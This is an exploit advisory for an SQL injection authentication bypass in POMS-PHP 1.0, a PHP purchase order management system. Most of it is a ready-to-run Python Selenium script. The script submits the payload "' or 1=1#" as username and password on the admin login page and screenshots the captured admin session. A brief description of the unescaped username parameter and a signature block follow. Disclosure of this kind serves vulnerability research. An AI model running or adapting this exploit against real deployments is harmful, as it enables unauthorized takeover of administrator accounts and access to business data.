POMS-PHP 1.0 SQL Injection

`### Exploit Title: POMS-PHP (by: oretnom23 ) v1.0 is vulnerable to remote  
SQL-Injection-Bypass-Authentication.  
### Author: nu11secur1ty  
### Testing and Debugging: nu11secur1ty  
### Date: 09.09.2021  
### Vendor: https://www.sourcecodester.com/user/257130/activity  
### Link:  
https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html#comment-form  
### CVE: CVE-nu11-09  
  
[+] Exploit Source:  
  
#!/usr/bin/python  
# Author @nu11secur1ty  
import time  
from selenium import webdriver  
from selenium.webdriver.chrome.options import Options  
from colorama import init, Fore, Back, Style  
init(convert=True)  
  
  
options = webdriver.ChromeOptions()  
options.headless = True  
driver = webdriver.Chrome(options=options)  
  
PoC = 'http://localhost/purchase_order/admin/login.php'  
  
driver.get(PoC)  
  
#enter your login username  
username="nu11secur1ty' or 1=1#"  
  
#enter your login password  
password="nu11secur1ty' or 1=1#"  
  
# test the exploit username  
#username="test"  
  
# test the exploit password  
#password="blavsdfdfaaa"  
  
#enter the element for username input field  
element_for_username="username"  
#enter the element for password input field  
element_for_password="password"  
  
try:  
### 0  
username_element = driver.find_element_by_name(element_for_username)  
username_element.send_keys(username)  
password_element = driver.find_element_by_name(element_for_password)  
password_element.send_keys(password)  
  
time.sleep(1)  
driver.execute_script("document.querySelector('[class=\"btn btn-primary  
btn-block\"]').click()")  
  
print(Fore.RED + 'The payload for CVE-nu11-09 is deployed and your admin  
account is PWNED by SQL - Injection\n')  
print(Fore.GREEN + 'Please see the screenshot poc.png to see if your  
exploit is working =) BR @nu11secur1ty\n')  
print(Style.RESET_ALL)  
  
time.sleep(3)  
S = lambda X: driver.execute_script('return  
document.body.parentNode.scroll'+X)  
  
driver.set_window_size(S('Width=1024'),S('Height=720')) # May need manual  
adjustment  
driver.find_element_by_tag_name('body').screenshot('poc.png')  
  
driver.quit()  
  
except Exception:  
#### This exception occurs if the element are not found in the webpage.  
print("Some error occured :(")  
  
  
------------------------------------------------------------------  
  
### Description:  
The POMS-PHP (by: oretnom23 ) v1.0 is vulnerable to remote  
SQL-Injection-Bypass-Authentication for the admin account in app  
/purchase_order/classes/Login.php.  
remote SQL-Injection-Bypass-Authentication:  
https://portswigger.net/support/using-sql-injection-to-bypass-authentication.  
  
The parameter (username) from the login form is not protected correctly and  
there is no security and escaping from malicious payloads.  
When the user will sending a malicious query or malicious payload to the  
MySQL server, he can bypass the login credentials and take control of the  
admin account.  
  
-------------------------------------------------------------------  
### CONCLUSION: This vendor must STOP creating all these broken projects  
and vulnerable software programs, probably he is not a developer!  
  
### BR  
- [+] @nu11secur1ty System Administrator - Infrastructure and Penetration  
Testing Engineer  
  
-------------------------------------------------------------------  
### Reproduce:  
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-09  
### Proof: https://streamable.com/47kd87  
### BR nu11secur1ty  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://www.exploit-db.com/  
https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`